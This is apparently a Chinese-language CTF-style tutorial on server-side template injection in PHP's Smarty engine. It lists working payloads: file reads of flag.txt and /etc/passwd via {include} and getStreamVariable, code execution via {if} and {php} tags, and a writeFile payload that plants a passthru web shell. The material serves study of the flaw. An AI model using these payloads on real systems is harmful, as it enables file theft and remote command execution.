PHP的Smarty服务器端模板注入
前言
Smarty模板引擎:
Smarty 模板是基于 PHP 开发的模板,我们可以利用 Smarty 实现程序逻辑与页面显示(HTML/CSS)代码分离的功能。
demo
1 | <?php |
总结起来,这段代码的功能是使用Smarty模板引擎来接收通过POST方法提交的数据,然后将这些数据作为字符串进行渲染和显示。此时基本满足我们对有SSTI此时的需求
SSTI模板类型的判断
SSTI
SSTI就是服务器端模板注入 (Server-Side Template Injection),也给出了一个注入的概念,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的。(并不全是python)
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。
SSTI就是服务器端模板注入(Server-Side Template Injection)和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为Web应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell等问题。其影响范围主要取决于模版引擎的复杂性。
因为在前面的flask-ssti中已经详细说过ssti,这里就不在过多赘诉了
1 | 简单来说就是{{}}作为变量包裹标识符号,服务器在渲染的时候会把被包裹的内容当作变量解析替换并输出解析之后的东西导致我们可以进行RCE |
常见攻击方法
在模板注入中我们进行攻击的方式所依赖的是模板引擎中的各种标签,标签为了实现功能,很多时候会进行命令执行等操作,有时一些正常的功能也会被恶意利用而导致一系列的问题,下面就来总结一下常用的标签。
任意文件读取
该漏洞的成因是由于{include}标签导致的,当我们设置成’string:’我们的include的文件就会被单纯的输出文件内容
payload
1 | string:{include file='D:\flag.txt'} |
标签
{$smarty.version}
作用:获取smarty版本信息
{literal}
1 | 此标签的利用方法仅仅是在php5.x的版本中才可以使用,因为在 PHP5 环境下存在一种 PHP 标签,<script>language="php"></script>,我们便可以利用这一标签进行任意的PHP代码执行。但是在php7的版本中{literal}xxxx;{/literal}标签中间的内容就会被原封不动的输出,并不会解析。 |
{if}
1 | Smarty的{if}条件判断和PHP的if非常的相似,只是增加了一些特性。每一个{if}必须要有一个配对的{/if},此时也可以使用{else}和{elseif},此时全部的PHP表达式和函数都可以在{if}标签中使用 |
payload:
1 | {if phpinfo()}{/if} |
{php}
但是这个方法在Smarty3版本中已经被禁用了
1 | {php}phpinfo();{/php} |
访问类的静态成员或者静态方法
在Smarty模板引擎中,self关键字代表当前类本身,通常用于访问类的静态成员或者静态方法
getStreamVariable()
此时我们可以先看payload
1 | {self::getStreamVariable("file:///etc/passwd")} |
此时在getStreamVariable()可以利用这个方法来读文件
getStreamVariable()方法的源码
1 | public function getStreamVariable($variable) |
值得注意的是这个方法之存在于Smarty<=3.1.29的版本,在Smarty 3.1.30版本中官方以及删除这个方法
tips:
可以使用
1 | {$smarty.template} |
来确定当前的版本信息
wirteFile()
writeFile()方法源码
1 | public function writeFile($_filepath, $_contents, Smarty $smarty) |
此时我们注意看下面这段代码
1 | if (!file_put_contents($_tmp_file, $_contents)) { |
此时这段代码会将文件内容写入临时文件,如果写入失败,则会恢复先前的错误报告级别,并抛出异常
此时我们先进行一个文件的写入,此时我们观察到在loadCompiledTemplate()函数下面存在下列语句
1 | eval("?>".file_get_contents($this->filepath)); |
此时我们就有了
1 | {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} |